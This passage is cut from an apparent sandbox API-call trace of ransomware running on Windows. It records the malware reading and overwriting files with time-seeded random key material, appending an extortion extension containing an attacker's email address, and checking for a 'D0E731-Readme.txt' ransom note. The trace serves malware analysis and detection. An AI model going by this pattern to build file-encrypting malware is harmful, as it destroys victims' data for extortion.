lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.407] ReadFile (in: hFile=0x528, lpBuffer=0x986fc30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x986fc2c, lpOverlapped=0x0 | out: lpBuffer=0x986fc30*, lpNumberOfBytesRead=0x986fc2c*=0x4, lpOverlapped=0x0) returned 1 [0166.409] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4488 [0166.409] NtQuerySystemTime (in: CurrentTime=0x986fc08 | out: CurrentTime=0x986fc08*=132121213237198254) returned 0x0 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xe144980c [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xee6b6a7c [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xabd8b25d [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xa877d012 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x340de718 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x1861a13c [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x3368acc5 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x5867ab41 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x40f8218e [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xfc62ec53 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xd4e79b3a [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x5494b4f5 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xdbb29f47 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xe99bdb2f [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x50ea2c82 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xfb9e6353 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x965715b3 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xc57d6ba9 [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xad1224bc [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x2a67c70c [0166.409] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x47c50f75 [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x3efbdad3 [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xdeaf3711 [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xdf541f9a [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xf285730b [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xb1438455 [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xe7d67a37 [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xe1edab8a [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xf39cd9e1 [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x8be56c51 [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0x87b9f397 [0166.410] RtlRandom (in: Seed=0x986fc14 | out: Seed=0x986fc14) returned 0xfdc1fed7 [0166.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44b0 [0166.420] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.420] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44d8 [0166.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.420] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.420] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.421] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x986fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x986fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0166.422] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.422] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x986fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x986fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0166.423] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.423] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13c22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.423] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x986fc18, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x986fc18*=0x20, lpOverlapped=0x0) returned 1 [0166.423] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.423] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.423] WriteFile (in: hFile=0x528, lpBuffer=0x2fe44d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x986fc2c, lpOverlapped=0x0 | out: lpBuffer=0x2fe44d8*, lpNumberOfBytesWritten=0x986fc2c*=0x8, lpOverlapped=0x0) returned 1 [0166.423] WriteFile (in: hFile=0x528, lpBuffer=0x986fc44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x986fc2c, lpOverlapped=0x0 | out: lpBuffer=0x986fc44*, lpNumberOfBytesWritten=0x986fc2c*=0x4, lpOverlapped=0x0) returned 1 [0166.423] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x986fc2c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x986fc2c*=0x4, lpOverlapped=0x0) returned 1 [0166.423] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x986fc2c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x986fc2c*=0x6c, lpOverlapped=0x0) returned 1 [0166.423] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x986fc2c, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x986fc2c*=0x20, lpOverlapped=0x0) returned 1 [0166.424] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x986fc2c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x986fc2c*=0x4, lpOverlapped=0x0) returned 1 [0166.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe44b0) returned 1 [0166.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe44d8) returned 1 [0166.424] CloseHandle (hObject=0x528) returned 1 [0166.424] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.424] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.424] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.424] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.425] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.425] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.425] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.425] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.425] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1046\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0166.425] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt" [0166.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\d0e731-readme.txt")) returned 0x20 [0166.425] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.425] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cae0) returned 1 [0166.425] RtlExitUserThread (Status=0x1) Thread: id = 1618 os_tid = 0x598 [0166.426] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.427] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.428] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.428] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x98ef9b4 | out: lpFileSize=0x98ef9b4*=4232) returned 1 [0166.428] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.428] ReadFile (in: hFile=0x528, lpBuffer=0x98ef988, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x98ef984, lpOverlapped=0x0 | out: lpBuffer=0x98ef988*, lpNumberOfBytesRead=0x98ef984*=0x4, lpOverlapped=0x0) returned 1 [0166.429] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.429] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.429] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.429] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44b0 [0166.429] NtQuerySystemTime (in: CurrentTime=0x98ef960 | out: CurrentTime=0x98ef960*=132121213237510795) returned 0x0 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xdbd81c5f [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xd29e384e [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x2a720986 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xe437aa49 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xc03a31e2 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x76f8cef9 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xe2341877 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xc5d08a71 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x43b6b3ef [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xe276089a [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x843b5543 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x5e4cbe54 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x90f355d8 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xdc00b70c [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xe42a72f7 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x3679f1f3 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x952cbdb2 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xb955c7de [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xf9b3b983 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xb0ea24f7 [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x1c65c16a [0166.429] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x742af4ee [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xa5d6f731 [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x8e43f393 [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x9d5b4212 [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x8332f7ef [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x5939fd3b [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xfc3af9ab [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x10a97fd5 [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0xaa005b91 [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x4d8c3365 [0166.430] RtlRandom (in: Seed=0x98ef96c | out: Seed=0x98ef96c) returned 0x52307190 [0166.439] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44d8 [0166.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4528 [0166.441] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.441] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.441] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.441] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x1088, lpNumberOfBytesRead=0x98ef960, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x98ef960*=0x1088, lpOverlapped=0x0) returned 1 [0166.454] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x98ef928 | out: lpNewFilePointer=0x0) returned 1 [0166.454] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x1088, lpNumberOfBytesWritten=0x98ef95c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x98ef95c*=0x1088, lpOverlapped=0x0) returned 1 [0166.454] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.454] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.455] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x98ef958, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x98ef958*=0x20, lpOverlapped=0x0) returned 1 [0166.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.455] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x98ef984, lpOverlapped=0x0 | out: lpBuffer=0x2fe4528*, lpNumberOfBytesWritten=0x98ef984*=0x8, lpOverlapped=0x0) returned 1 [0166.455] WriteFile (in: hFile=0x528, lpBuffer=0x98ef99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x98ef984, lpOverlapped=0x0 | out: lpBuffer=0x98ef99c*, lpNumberOfBytesWritten=0x98ef984*=0x4, lpOverlapped=0x0) returned 1 [0166.455] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x98ef984, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x98ef984*=0x4, lpOverlapped=0x0) returned 1 [0166.455] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x98ef984, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x98ef984*=0x6c, lpOverlapped=0x0) returned 1 [0166.455] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x98ef984, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x98ef984*=0x20, lpOverlapped=0x0) returned 1 [0166.455] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x98ef984, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x98ef984*=0x4, lpOverlapped=0x0) returned 1 [0166.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.456] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe44d8) returned 1 [0166.456] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4528) returned 1 [0166.456] CloseHandle (hObject=0x528) returned 1 [0166.456] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.456] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.456] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.456] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.457] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.457] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.457] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1045\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0166.457] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt" [0166.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\d0e731-readme.txt")) returned 0x20 [0166.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4e40) returned 1 [0166.457] RtlExitUserThread (Status=0x1) Thread: id = 1619 os_tid = 0x58c [0166.458] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.459] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.460] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.460] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x996fc1c | out: lpFileSize=0x996fc1c*=82566) returned 1 [0166.460] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x14282, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.460] ReadFile (in: hFile=0x528, lpBuffer=0x996fbf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x996fbec, lpOverlapped=0x0 | out: lpBuffer=0x996fbf0*, lpNumberOfBytesRead=0x996fbec*=0x4, lpOverlapped=0x0) returned 1 [0166.461] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.461] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.461] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.462] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44d8 [0166.462] NtQuerySystemTime (in: CurrentTime=0x996fbc8 | out: CurrentTime=0x996fbc8*=132121213237823350) returned 0x0 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xc2e1bf94 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x22b8024e [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x2826d6da [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x9f15c750 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xe7b3ea5e [0166.462] 